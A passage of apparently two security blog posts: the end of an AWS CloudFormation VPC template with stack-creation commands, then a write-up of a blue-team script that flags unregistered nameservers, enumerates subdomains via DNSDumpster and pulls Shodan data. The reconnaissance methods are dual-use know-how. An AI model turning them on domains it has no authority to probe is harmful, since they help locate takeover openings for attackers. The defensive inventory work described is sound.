      SubnetId: !Ref PublicSubnet2

  PublicRouteTable:
    Type: AWS::EC2::RouteTable
    Properties:
      VpcId: !Ref VPC
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Public Routes

  DefaultPublicRoute:
    Type: AWS::EC2::Route
    DependsOn: InternetGatewayAttachment
    Properties:
      RouteTableId: !Ref PublicRouteTable
      DestinationCidrBlock: 0.0.0.0/0
      GatewayId: !Ref InternetGateway

  PublicSubnet1RouteTableAssociation:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref PublicRouteTable
      SubnetId: !Ref PublicSubnet1

  PublicSubnet2RouteTableAssociation:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref PublicRouteTable
      SubnetId: !Ref PublicSubnet2


  PrivateRouteTable1:
    Type: AWS::EC2::RouteTable
    Properties:
      VpcId: !Ref VPC
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Private Routes (AZ1)

  DefaultPrivateRoute1:
    Type: AWS::EC2::Route
    Properties:
      RouteTableId: !Ref PrivateRouteTable1
      DestinationCidrBlock: 0.0.0.0/0
      NatGatewayId: !Ref NatGateway1

  PrivateSubnet1RouteTableAssociation:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref PrivateRouteTable1
      SubnetId: !Ref PrivateSubnet1

  PrivateRouteTable2:
    Type: AWS::EC2::RouteTable
    Properties:
      VpcId: !Ref VPC
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Private Routes (AZ2)

  DefaultPrivateRoute2:
    Type: AWS::EC2::Route
    Properties:
      RouteTableId: !Ref PrivateRouteTable2
      DestinationCidrBlock: 0.0.0.0/0
      NatGatewayId: !Ref NatGateway2

  PrivateSubnet2RouteTableAssociation:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref PrivateRouteTable2
      SubnetId: !Ref PrivateSubnet2

  # Here is where we might setup ingress for SSH or a bastion host. For now, no ingress allowed 
  NoIngressSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupName: "no-ingress-sg"
      GroupDescription: "Security group with no ingress rule"
      VpcId: !Ref VPC
      ```

We will build this twice - one VPC in our security account, one in our app account. To build this, you will need the access keys created earlier for both accounts. I assume you have stored one set of security keys during aws configure.

$ aws cloudformation create-stack --stack-name security-vpc --template-body file://security_vpc.yaml
$ export AWS_ACCESS_KEY_ID=AAAAAAAAAAAAAAA
$ export AWS_SECRET_ACCESS_KEY=BBBBBBBBBBBBBBBBBBBBBBB
$ aws cloudformation create-stack --stack-name application-vpc --template-body file://application_vpc.yml

You should now be able to view VPC information in the console.

Conclusions

This seems like a good stopping point for this step. We have setup our initial account structure and admin users, and built a VPC in each account to host our information.

In the next section, we will setup SSH access to EC2, and automate control installation. From there, we will move into log centralization and automated controls

What else have you used to secure your AWS environments? Amazon is constantly coming out with new tools, so there are at least a few that I haven't touched on (yet!)

Recently I participated in a hackathon building tools to help the blue team inventory our external attack surface. We are a large business with many global locations, datacenters, and devices, built up over time and via acquisition, so there is a lot to search for, and our internal inventories don't always keep up.

I decided to search for subdomain takeover and nameserver takeover risks across our infrastructure, and automate a way to maintain it going forward.

To accomplish this, I wrote a script to do the following:

• Check for any unregistered nameservers in the domain chain to search for domain takeover attack opportunities.
• Try to find all known subdomains of a given domain, using the excellent DNSDumpster.
• Screenshot each subdomain for a quick visual inspection.
• Collect shodan data for each subdomain infrastructure item found.
• Write everything to an HTML report.

The subdomain_recon.py Tool

I recreated this script for general use and put it on my github.

Here is the script running against this website:

$ python subdomain_recon.py nullsweep.com
Checking nullsweep.com for subdomains and takeover opportunities...
Searching for unregistered name servers...
Checking name server f.gtld-servers.net. for com....
Checking name server j.gtld-servers.net. for com....
Checking name server i.gtld-servers.net. for com....
Checking name server a.gtld-servers.net. for com....
Checking name server h.gtld-servers.net. for com....
Checking name server l.gtld-servers.net. for com....
Checking name server g.gtld-servers.net. for com....
Checking name server b.gtld-servers.net. for com....
Checking name server e.gtld-servers.net. for com....
Checking name server m.gtld-servers.net. for com....
Checking name server c.gtld-servers.net. for com....
Checking name server k.gtld-servers.net. for com....
Checking name server d.gtld-servers.net. for com....
Checking name server josh.ns.cloudflare.com. for nullsweep.com....
Checking name server lara.ns.cloudflare.com. for nullsweep.com....
Searching for subdomains...
[verbose] Retrieved token: 4FhdLcwZDOwnpCqOXp5gzgVDzuz6Bv47v03z5eGUmc3J0L3yhEgSNMCRzxuIxZbE
list index out of range
	Found 3 subdomains
Wrote report to nullsweep.com.html

And a screenshot of the report. Shodan got my open ports wrong, probably because I am using CloudFlare:

NameServer Takeover

For an excellent dive into nameserver takeover risks, I recommend reading the hackerblog entry Hijacking Broken Nameservers to Compromise Your Target

In this script, I iterate through each component of a domain name and list the nameservers for that component. For nullsweep.com, this breaks down into finding nameservers for the ".com" and "nullsweep.com" domains. Sites that have longer chains like mysite.hostingsite.region.com would have checks for ".com", ".region.com", "hostingsite.region.com" and "mysite.hostingsite.region.com", each of which may use different name servers.

For each name server found, we check it's registration status.

def list_ns(domain):
    ''' Return a list of name servers for the given domain'''
    q = dns.message.make_query(domain, dns.rdatatype.NS)
    r = dns.query.udp(q, name_server)
    if r.rcode() == dns.rcode.NOERROR and len(r.answer) > 0:
        return r.answer[0].items
    return []


def get_ns_registration_status(domain, depth=2):
    ''' Check registration status of all name servers.
    Depth of 2 will check TLD's such as .com or .info,
    3 or higher skips TLD
    '''
    domain = dns.name.from_text(domain)
    done = False
    nameservers = {}
    while not done:
        s = domain.split(depth)

        done = s[0].to_unicode() == u'@'
        subdomain = s[1]

        nss = list_ns(subdomain)
        for ns in nss:
            print(f"Checking name server {ns} for {subdomain}...")
            nameservers[ns.to_text()] = "registered"
            if can_register(ns):
                nameservers[ns.to_text()] = "UNREGISTERED"
        depth += 1
    return nameservers

Find all Subdomains

There are tons of great tools out there for doing DNS busting (brute forcing DNS and attempting zone transfers), but I wanted to use a service. Out of all the subdomain search tools I sampled, DNSDumpster had by far the best results, even if sometimes they were out of date. Even better, they have an (unofficial) python package.

Finding all subdomains is as simple as quering the service:

def find_subdomains(domain):
    results = DNSDumpsterAPI({'verbose': True}).search(domain)
    subdomains = [domain_details(domain)]
    if len(results) > 0:
        subdomains.extend(results['dns_records']['host'])
    return subdomains

There are other good tools out there that check for subdomain takeover opportunities (when a subdomain points to a third party service that is no longer owned by the domain owner, such as a released S3 bucket, or closed github account).

You can find a good list of services that may allow takeover on github, and a tool called subjack, which has some overlap with the one I wrote. Seeing a screenshot of any of those services likely means a takeover could be possible.

Integrating Shodan

Finally, I wanted to see what, if anything, shodan had picked up about the services found. Shodan charges for larger result sets, but by quering a specific IP address, we can leverage the API with a free account just fine.

def shodan_data(ip):
    if api is None:
        return ("", False)
    try:
        host = api.host(ip)
        return (host, True)
    except shodan.APIError as e:
        return (str(e), False)

In the above function, I handle the case that the user has not passed in an API key, in which case shodan report data will be blank, and the case where shodan errors. The most common cause of this was shodan having no information about the provided IP address.

Final Thoughts

The script turned out to be quite useful! It yields a fair amount of data that is quick to visually process and follow up on.

I would love to hear from the community on other techniques or tools I missed!